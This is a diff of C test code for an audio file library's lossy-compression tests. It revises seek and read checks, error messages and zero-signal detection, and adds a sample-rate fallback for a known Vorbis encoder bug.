 	/* Check seek backward from current position. */
 	k = sf_seek (file, -20, SEEK_CUR) ;
 	test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %ld).\n", data [0], orig [seekpos * channels], k, seekpos) ;
+	if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %ld).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos) ;
 		exit (1) ;
 		} ;
 
 	/* Check that read past end of file returns number of items. */
-	sf_seek (file, (int) sfinfo.frames, SEEK_SET) ;
+	sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
  	if ((k = sf_readf_int (file, data, datalen)) != 0)
  	{	printf ("\n\nLine %d: Return value from sf_readf_int past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -855,14 +914,14 @@
  		} ;
 
 	/* Check seek backward from end. */
-	if ((k = sf_seek (file, 5 - (int) sfinfo.frames, SEEK_END)) != 5)
-	{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+	if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+	{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 		exit (1) ;
 		} ;
 
-	test_readf_int_or_die (file, 0, data, channels, __LINE__) ;
-	if (error_function (data [0] / scale, orig [5] / scale, margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%d should be %d).\n", __LINE__, data [0], orig [5]) ;
+	test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
+	if (error_function (data [0] / scale, orig [5 * channels] / scale, margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%d should be %d).\n", __LINE__, data [0], orig [5]) ;
 		exit (1) ;
 		} ;
 
@@ -879,9 +938,10 @@
 lcomp_test_float (const char *filename, int filetype, int channels, double margin)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
-	int				k, m, seekpos, sum_abs ;
+	int				k, m, seekpos ;
 	long			datalen ;
 	float			*orig, *data ;
+	double			half_max_abs ;
 
 	print_test_name ("lcomp_test_float", filename) ;
 
@@ -892,7 +952,7 @@
 
 	gen_signal_double (orig_buffer.d, 32000.0, channels, datalen) ;
 	for (k = 0 ; k < channels * datalen ; k++)
-		orig [k] = (float) (orig_buffer.d [k]) ;
+		orig [k] = orig_buffer.d [k] ;
 
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
@@ -944,17 +1004,17 @@
 
 	test_readf_float_or_die (file, 0, data, datalen, __LINE__) ;
 
-	sum_abs = 0.0 ;
+	half_max_abs = 0.0 ;
 	for (k = 0 ; k < datalen ; k++)
-	{	if (error_function ((double) data [k], (double) orig [k], margin))
-		{	printf ("\n\nLine %d: Incorrect sample A (#%d : %f should be %f).\n", __LINE__, k, data [k], orig [k]) ;
+	{	if (error_function (data [k], orig [k], margin))
+		{	printf ("\nLine %d: Incorrect sample A (#%d : %f should be %f).\n", __LINE__, k, data [k], orig [k]) ;
 			oct_save_float (orig, data, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs += fabs (data [k]) ;
+		half_max_abs = LCT_MAX (half_max_abs, fabs (0.5 * data [k])) ;
 		} ;
 
-	if (sum_abs < 1.0)
+	if (half_max_abs < 1.0)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
 		exit (1) ;
 		} ;
@@ -993,8 +1053,8 @@
 	{	test_readf_float_or_die (file, 0, data, 11, __LINE__) ;
 
 		for (k = 0 ; k < channels * 11 ; k++)
-			if (error_function ((double) data [k], (double) orig [k + channels * m * 11], margin))
-			{	printf ("\n\nLine %d: Incorrect sample (m = %d) (#%d : %f => %f).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
+			if (error_function (data [k], orig [k + channels * m * 11], margin))
+			{	printf ("\nLine %d: Incorrect sample (m = %d) (#%d : %f => %f).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
 				for (m = 0 ; m < channels ; m++)
 					printf ("%f ", data [m]) ;
 				printf ("\n") ;
@@ -1012,8 +1072,8 @@
 
 	test_readf_float_or_die (file, 0, data, 1, __LINE__) ;
 
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_float failed (%f, %f).\n", __LINE__, orig [1], data [0]) ;
+	if (error_function (data [0], orig [seekpos * channels], margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_float failed (%f, %f).\n", __LINE__, orig [1], data [0]) ;
 		exit (1) ;
 		} ;
 
@@ -1025,8 +1085,8 @@
 	seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 	k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
 	test_readf_float_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("\n\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_float failed (%f, %f) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
+	if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_float failed (%f, %f) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
 		exit (1) ;
 		} ;
 
@@ -1034,13 +1094,13 @@
 	/* Check seek backward from current position. */
 	k = sf_seek (file, -20, SEEK_CUR) ;
 	test_readf_float_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_readf_float failed (%f, %f) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos) ;
+	if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_readf_float failed (%f, %f) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos) ;
 		exit (1) ;
 		} ;
 
 	/* Check that read past end of file returns number of items. */
-	sf_seek (file, (float) sfinfo.frames, SEEK_SET) ;
+	sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
  	if ((k = sf_readf_float (file, data, datalen)) != 0)
  	{	printf ("\n\nLine %d: Return value from sf_readf_float past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -1048,14 +1108,14 @@
  		} ;
 
 	/* Check seek backward from end. */
-	if ((k = sf_seek (file, 5 - (float) sfinfo.frames, SEEK_END)) != 5)
-	{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+	if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+	{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 		exit (1) ;
 		} ;
 
-	test_readf_float_or_die (file, 0, data, channels, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [5], margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%f should be %f).\n", __LINE__, data [0], orig [5]) ;
+	test_readf_float_or_die (file, 0, data, 1, __LINE__) ;
+	if (error_function (data [0], orig [5 * channels], margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%f should be %f).\n", __LINE__, data [0], orig [5 * channels]) ;
 		exit (1) ;
 		} ;
 
@@ -1072,9 +1132,10 @@
 lcomp_test_double (const char *filename, int filetype, int channels, double margin)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
-	int				k, m, seekpos, sum_abs ;
+	int				k, m, seekpos ;
 	long			datalen ;
 	double			*orig, *data ;
+	double			half_max_abs ;
 
 	print_test_name ("lcomp_test_double", filename) ;
 
@@ -1085,7 +1146,7 @@
 
 	gen_signal_double (orig_buffer.d, 32000.0, channels, datalen) ;
 	for (k = 0 ; k < channels * datalen ; k++)
-		orig [k] = (double) (orig_buffer.d [k]) ;
+		orig [k] = orig_buffer.d [k] ;
 
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
@@ -1137,17 +1198,17 @@
 
 	test_readf_double_or_die (file, 0, data, datalen, __LINE__) ;
 
-	sum_abs = 0.0 ;
+	half_max_abs = 0.0 ;
 	for (k = 0 ; k < datalen ; k++)
-	{	if (error_function ((double) data [k], (double) orig [k], margin))
-		{	printf ("\n\nLine %d: Incorrect sample A (#%d : %f should be %f).\n", __LINE__, k, data [k], orig [k]) ;
+	{	if (error_function (data [k], orig [k], margin))
+		{	printf ("\nLine %d: Incorrect sample A (#%d : %f should be %f).\n", __LINE__, k, data [k], orig [k]) ;
 			oct_save_double (orig, data, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs += fabs (data [k]) ;
+		half_max_abs = LCT_MAX (half_max_abs, abs (0.5 * data [k])) ;
 		} ;
 
-	if (sum_abs < 1.0)
+	if (half_max_abs < 1.0)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
 		exit (1) ;
 		} ;
@@ -1186,8 +1247,8 @@
 	{	test_readf_double_or_die (file, m, data, 11, __LINE__) ;
 
 		for (k = 0 ; k < channels * 11 ; k++)
-			if (error_function ((double) data [k], (double) orig [k + channels * m * 11], margin))
-			{	printf ("\n\nLine %d: Incorrect sample (m = %d) (#%d : %f => %f).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
+			if (error_function (data [k], orig [k + channels * m * 11], margin))
+			{	printf ("\nLine %d: Incorrect sample (m = %d) (#%d : %f => %f).\n", __LINE__, m, k + channels * m * 11, orig [k + channels * m * 11], data [k]) ;
 				for (m = 0 ; m < channels ; m++)
 					printf ("%f ", data [m]) ;
 				printf ("\n") ;
@@ -1205,8 +1266,8 @@
 
 	test_readf_double_or_die (file, 0, data, 1, __LINE__) ;
 
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_double failed (%f, %f).\n", __LINE__, orig [1], data [0]) ;
+	if (error_function (data [0], orig [seekpos * channels], margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_double failed (%f, %f).\n", __LINE__, orig [1], data [0]) ;
 		exit (1) ;
 		} ;
 
@@ -1218,8 +1279,8 @@
 	seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 	k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
 	test_readf_double_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("\n\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_double failed (%f, %f) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
+	if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_double failed (%f, %f) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
 		exit (1) ;
 		} ;
 
@@ -1227,13 +1288,13 @@
 	/* Check seek backward from current position. */
 	k = sf_seek (file, -20, SEEK_CUR) ;
 	test_readf_double_or_die (file, 0, data, 1, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-	{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_readf_double failed (%f, %f) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos) ;
+	if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+	{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_readf_double failed (%f, %f) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos) ;
 		exit (1) ;
 		} ;
 
 	/* Check that read past end of file returns number of items. */
-	sf_seek (file, (double) sfinfo.frames, SEEK_SET) ;
+	sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
  	if ((k = sf_readf_double (file, data, datalen)) != 0)
  	{	printf ("\n\nLine %d: Return value from sf_readf_double past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -1241,14 +1302,14 @@
  		} ;
 
 	/* Check seek backward from end. */
-	if ((k = sf_seek (file, 5 - (double) sfinfo.frames, SEEK_END)) != 5)
-	{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+	if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+	{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 		exit (1) ;
 		} ;
 
-	test_readf_double_or_die (file, 0, data, channels, __LINE__) ;
-	if (error_function ((double) data [0], (double) orig [5], margin))
-	{	printf ("\n\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%f should be %f).\n", __LINE__, data [0], orig [5]) ;
+	test_readf_double_or_die (file, 0, data, 1, __LINE__) ;
+	if (error_function (data [0], orig [5 * channels], margin))
+	{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_readf_short failed (%f should be %f).\n", __LINE__, data [0], orig [5 * channels]) ;
 		exit (1) ;
 		} ;
 
@@ -1266,7 +1327,7 @@
 sdlcomp_test_short	(const char *filename, int filetype, int channels, double margin)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
-	int				k, m, seekpos, sum_abs ;
+	int				k, m, seekpos, half_max_abs ;
 	long			datalen ;
 	short			*orig, *data, *smooth ;
 
@@ -1281,14 +1342,33 @@
 
 	gen_signal_double (orig_buffer.d, 32000.0, channels, datalen) ;
 	for (k = 0 ; k < datalen ; k++)
-		orig [k] = (short) (orig_buffer.d [k]) ;
+		orig [k] = lrint (orig_buffer.d [k]) ;
 
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
 	sfinfo.channels		= channels ;
 	sfinfo.format		= filetype ;
 
-	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	/*	The Vorbis encoder has a bug on PowerPC and X86-64 with sample rates
+	**	<= 22050. Increasing the sample rate to 32000 avoids triggering it.
+	**	See https://trac.xiph.org/ticket/1229
+	*/
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	const char * errstr ;
+
+		errstr = sf_strerror (NULL) ;
+		if (strstr (errstr, "Sample rate chosen is known to trigger a Vorbis") == NULL)
+		{	printf ("Line %d: sf_open_fd (SFM_WRITE) failed : %s\n", __LINE__, errstr) ;
+			dump_log_buffer (NULL) ;
+			exit (1) ;
+			} ;
+
+		printf ("\n                                  Sample rate -> 32kHz    ") ;
+		sfinfo.samplerate = 32000 ;
+
+		file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+		} ;
+
 	test_write_short_or_die (file, 0, orig, datalen, __LINE__) ;
 	sf_set_string (file, SF_STR_COMMENT, long_comment) ;
 	sf_close (file) ;
@@ -1332,17 +1412,17 @@
 	smoothed_diff_short (data, datalen) ;
 	smoothed_diff_short (smooth, datalen) ;
 
-	sum_abs = abs (data [0]) ;
-	for (k = 1 ; k < datalen ; k++)
-	{	if (error_function ((double) data [k], (double) smooth [k], margin))
-		{	printf ("\n\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, data [k], smooth [k]) ;
+	half_max_abs = 0.0 ;
+	for (k = 0 ; k < datalen ; k++)
+	{	if (error_function (1.0 * data [k], 1.0 * smooth [k], margin))
+		{	printf ("\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, data [k], smooth [k]) ;
 			oct_save_short (orig, smooth, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs = abs (sum_abs + abs (data [k])) ;
+		half_max_abs = LCT_MAX (half_max_abs, abs (0.5 * data [k])) ;
 		} ;
 
-	if (sum_abs < 1)
+	if (half_max_abs < 1)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
 		exit (1) ;
 		} ;
@@ -1375,8 +1455,8 @@
 			smoothed_diff_short (smooth, datalen / 7) ;
 
 			for (k = 0 ; k < datalen / 7 ; k++)
-				if (error_function ((double) data [k], (double) smooth [k], margin))
-				{	printf ("Incorrect sample C (#%d (%ld) : %d => %d).\n", k, k + m * (datalen / 7), smooth [k], data [k]) ;
+				if (error_function (1.0 * data [k], 1.0 * smooth [k], margin))
+				{	printf ("\nLine %d: Incorrect sample C (#%d (%ld) : %d => %d).\n", __LINE__, k, k + m * (datalen / 7), smooth [k], data [k]) ;
 					for (m = 0 ; m < 10 ; m++)
 						printf ("%d ", data [k]) ;
 					printf ("\n") ;
@@ -1393,35 +1473,35 @@
 			} ;
 		test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
 
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
-		{	printf ("sf_seek (SEEK_SET) followed by sf_read_short failed (%d, %d).\n", orig [1], data [0]) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_read_short failed (%d, %d).\n", __LINE__, orig [1], data [0]) ;
 			exit (1) ;
 			} ;
 
 		if ((k = sf_seek (file, 0, SEEK_CUR)) != seekpos + 1)
-		{	printf ("sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", k, seekpos + 1) ;
+		{	printf ("\n\nLine %d: sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", __LINE__, k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
 		seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 		k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
-		test_readf_short_or_die (file, 0, data, channels, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (forwards, SEEK_CUR) followed by sf_read_short failed (%d, %d) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos + 1) ;
+		test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_read_short failed (%d, %d) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
 		seekpos = sf_seek (file, 0, SEEK_CUR) - 20 ;
 		/* Check seek backward from current position. */
 		k = sf_seek (file, -20, SEEK_CUR) ;
-		test_readf_short_or_die (file, 0, data, channels, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_read_short failed (%d, %d) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos) ;
+		test_readf_short_or_die (file, 0, data, 1, __LINE__) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_read_short failed (%d, %d) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos) ;
 			exit (1) ;
 			} ;
 
 		/* Check that read past end of file returns number of items. */
-		sf_seek (file, (int) sfinfo.frames, SEEK_SET) ;
+		sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
 	 	if ((k = sf_read_short (file, data, datalen)) != 0)
 	 	{	printf ("\n\nLine %d: Return value from sf_read_short past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -1430,14 +1510,14 @@
 
 		/* Check seek backward from end. */
 
-		if ((k = sf_seek (file, 5 - (int) sfinfo.frames, SEEK_END)) != 5)
-		{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+		if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+		{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 			exit (1) ;
 			} ;
 
 		test_read_short_or_die (file, 0, data, channels, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [5], margin))
-		{	printf ("sf_seek (SEEK_END) followed by sf_read_short failed (%d should be %d).\n", data [0], orig [5]) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [5 * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_read_short failed (%d should be %d).\n", __LINE__, data [0], orig [5 * channels]) ;
 			exit (1) ;
 			} ;
 		} /* if (sfinfo.seekable) */
@@ -1452,7 +1532,7 @@
 sdlcomp_test_int	(const char *filename, int filetype, int channels, double margin)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
-	int				k, m, seekpos, sum_abs ;
+	int				k, m, seekpos, half_max_abs ;
 	long			datalen ;
 	int				*orig, *data, *smooth ;
 	double			scale ;
@@ -1470,14 +1550,33 @@
 
 	gen_signal_double (orig_buffer.d, 32000.0 * scale, channels, datalen) ;
 	for (k = 0 ; k < datalen ; k++)
-		orig [k] = (int) (orig_buffer.d [k]) ;
+		orig [k] = lrint (orig_buffer.d [k]) ;
 
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
 	sfinfo.channels		= channels ;
 	sfinfo.format		= filetype ;
 
-	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	/*	The Vorbis encoder has a bug on PowerPC and X86-64 with sample rates
+	**	<= 22050. Increasing the sample rate to 32000 avoids triggering it.
+	**	See https://trac.xiph.org/ticket/1229
+	*/
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	const char * errstr ;
+
+		errstr = sf_strerror (NULL) ;
+		if (strstr (errstr, "Sample rate chosen is known to trigger a Vorbis") == NULL)
+		{	printf ("Line %d: sf_open_fd (SFM_WRITE) failed : %s\n", __LINE__, errstr) ;
+			dump_log_buffer (NULL) ;
+			exit (1) ;
+			} ;
+
+		printf ("\n                                  Sample rate -> 32kHz    ") ;
+		sfinfo.samplerate = 32000 ;
+
+		file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+		} ;
+
 	test_writef_int_or_die (file, 0, orig, datalen, __LINE__) ;
 	sf_set_string (file, SF_STR_COMMENT, long_comment) ;
 	sf_close (file) ;
@@ -1517,17 +1616,17 @@
 	smoothed_diff_int (data, datalen) ;
 	smoothed_diff_int (smooth, datalen) ;
 
-	sum_abs = abs (data [0] >> 16) ;
+	half_max_abs = abs (data [0] >> 16) ;
 	for (k = 1 ; k < datalen ; k++)
 	{	if (error_function (data [k] / scale, smooth [k] / scale, margin))
-		{	printf ("\n\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, data [k], smooth [k]) ;
+		{	printf ("\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, data [k], smooth [k]) ;
 			oct_save_int (orig, smooth, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs = abs (sum_abs + abs (data [k] >> 16)) ;
+		half_max_abs = LCT_MAX (half_max_abs, abs (data [k] / 2)) ;
 		} ;
 
-	if (sum_abs < 1)
+	if (half_max_abs < 1)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
 		exit (1) ;
 		} ;
@@ -1564,7 +1663,7 @@
 
 			for (k = 0 ; k < datalen / 7 ; k++)
 				if (error_function (data [k] / scale, smooth [k] / scale, margin))
-				{	printf ("\n\nLine %d: Incorrect sample (#%d (%ld) : %d => %d).\n", __LINE__, k, k + m * (datalen / 7), smooth [k], data [k]) ;
+				{	printf ("\nLine %d: Incorrect sample (#%d (%ld) : %d => %d).\n", __LINE__, k, k + m * (datalen / 7), smooth [k], data [k]) ;
 					for (m = 0 ; m < 10 ; m++)
 						printf ("%d ", data [k]) ;
 					printf ("\n") ;
@@ -1581,21 +1680,21 @@
 			} ;
 		test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
 
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
-		{	printf ("sf_seek (SEEK_SET) followed by sf_readf_int failed (%d, %d).\n", orig [1], data [0]) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_readf_int failed (%d, %d).\n", __LINE__, orig [1], data [0]) ;
 			exit (1) ;
 			} ;
 
 		if ((k = sf_seek (file, 0, SEEK_CUR)) != seekpos + 1)
-		{	printf ("sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", k, seekpos + 1) ;
+		{	printf ("\n\nLine %d: sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", __LINE__, k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
 		seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 		k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
 		test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (forwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos + 1) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
@@ -1603,13 +1702,13 @@
 		/* Check seek backward from current position. */
 		k = sf_seek (file, -20, SEEK_CUR) ;
 		test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %d).\n", data [0], orig [seekpos * channels], k, seekpos) ;
+		if (error_function (1.0 * data [0], 1.0 * orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_readf_int failed (%d, %d) (%d, %d).\n", __LINE__, data [0], orig [seekpos * channels], k, seekpos) ;
 			exit (1) ;
 			} ;
 
 		/* Check that read past end of file returns number of items. */
-		sf_seek (file, (int) sfinfo.frames, SEEK_SET) ;
+		sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
 	 	if ((k = sf_readf_int (file, data, datalen)) != 0)
 	 	{	printf ("\n\nLine %d: Return value from sf_readf_int past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -1618,14 +1717,14 @@
 
 		/* Check seek backward from end. */
 
-		if ((k = sf_seek (file, 5 - (int) sfinfo.frames, SEEK_END)) != 5)
-		{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+		if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+		{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 			exit (1) ;
 			} ;
 
 		test_readf_int_or_die (file, 0, data, 1, __LINE__) ;
 		if (error_function (data [0] / scale, orig [5] / scale, margin))
-		{	printf ("\n\nLine %d: sf_seek (SEEK_END) followed by sf_readf_int failed (%d should be %d).\n", __LINE__, data [0], orig [5]) ;
+		{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_readf_int failed (%d should be %d).\n", __LINE__, data [0], orig [5]) ;
 			exit (1) ;
 			} ;
 		} /* if (sfinfo.seekable) */
@@ -1643,12 +1742,17 @@
 	int				k, m, seekpos ;
 	long			datalen ;
 	float			*orig, *data, *smooth ;
-	double			sum_abs ;
+	double			half_max_abs ;
 
 channels = 1 ;
 
 	print_test_name ("sdlcomp_test_float", filename) ;
 
+	if ((filetype & SF_FORMAT_SUBMASK) == SF_FORMAT_VORBIS)
+	{	puts ("Not working for this format.") ;
+		return ;
+		} ;
+
 printf ("** fix this ** ") ;
 
 	datalen = BUFFER_SIZE ;
@@ -1659,7 +1763,7 @@
 
 	gen_signal_double (orig_buffer.d, 32000.0, channels, datalen) ;
 	for (k = 0 ; k < datalen ; k++)
-		orig [k] = (int) (orig_buffer.d [k]) ;
+		orig [k] = lrint (orig_buffer.d [k]) ;
 
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
@@ -1711,19 +1815,19 @@
 	smoothed_diff_float (data, datalen) ;
 	smoothed_diff_float (smooth, datalen) ;
 
-	sum_abs = fabs (data [0]) ;
+	half_max_abs = fabs (data [0]) ;
 	for (k = 1 ; k < datalen ; k++)
 	{	if (error_function (data [k], smooth [k], margin))
-		{	printf ("\n\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, (int) data [k], (int) smooth [k]) ;
+		{	printf ("\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, (int) data [k], (int) smooth [k]) ;
 			oct_save_float (orig, smooth, datalen) ;
